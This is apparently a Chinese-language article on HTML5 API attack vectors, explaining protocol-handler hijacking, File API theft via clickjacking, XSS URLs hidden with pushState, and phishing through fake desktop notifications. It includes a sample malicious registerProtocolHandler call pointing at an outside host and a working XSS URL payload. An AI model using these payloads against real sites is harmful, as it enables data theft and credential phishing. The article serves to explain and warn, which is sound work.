HTML5安全風(fēng)險(xiǎn)詳析之六:API攻擊
HTML5里有許多協(xié)議、模式和API,可能成為攻擊者的攻擊途徑。
一、registerProtocolHandler:信息泄漏
HTML5允許某些協(xié)議和schema注冊(cè)為新的特性。例如下面的語句可以注冊(cè)一個(gè)email handler。
- 01.navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
它會(huì)將一個(gè)惡意網(wǎng)站處理器關(guān)聯(lián)到mailto這個(gè)協(xié)議上,所以它在某些情況下的濫用會(huì)導(dǎo)致用戶信息泄漏。
二、文件API:竊取文件
HTML5另外一些API從安全角度來看很有意思,它們還能混合起來使用。
例如文件API允許瀏覽器訪問本地文件,攻擊者可以將它與點(diǎn)擊劫持和其他攻擊混合起來獲得用戶本地的文件。比如騙取你從本地拖放文件到頁面里,這種方法在劫持攻擊一文中有較詳細(xì)的闡述。
三、歷史API:隱藏XSS URL
利用HTML5歷史API的pushState,可以隱藏瀏覽器地址欄的攻擊URL。例如我在瀏覽器地址欄輸入
- 01.http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>
這個(gè)地址,用戶將會(huì)僅僅只看到http://test.baidu.com/。
這個(gè)問題和現(xiàn)在流行的短網(wǎng)址技術(shù)結(jié)合起來,具有更大的隱蔽性。想象一下我們?cè)谖⒉┥峡吹揭粋€(gè)短網(wǎng)址,不會(huì)有任何懷疑就會(huì)點(diǎn)擊這個(gè)地址查看內(nèi)容,而最后看到的地址也是相當(dāng)正常的,但是在這個(gè)過程中用戶的信息和資料就不知不覺被盜取了。
短URL結(jié)合歷史API的攻擊
四、Web Notifications:盜取數(shù)據(jù)
Web Notifications讓我們?cè)跒g覽器中能夠接收推送的消息通知,但是它有可能會(huì)被攻擊者利用來構(gòu)造虛假信息,騙取用戶數(shù)據(jù)。
例如下圖里右下角的彈窗通知看起來非常正常,需要我們輸入Gmail密碼來登錄查看新郵件。但是一旦輸入密碼,Gmail郵箱就被盜取了。我們可以仔細(xì)看看,彈窗左上角顯示的域名是gmai1.com!這正是一個(gè)釣魚網(wǎng)站的欺詐手段。
桌面通知攻擊
最后,隨著HTML5的發(fā)展,未來還可能出現(xiàn)新的HTML5安全問題,還可能還會(huì)向著復(fù)雜化和智能化去發(fā)展。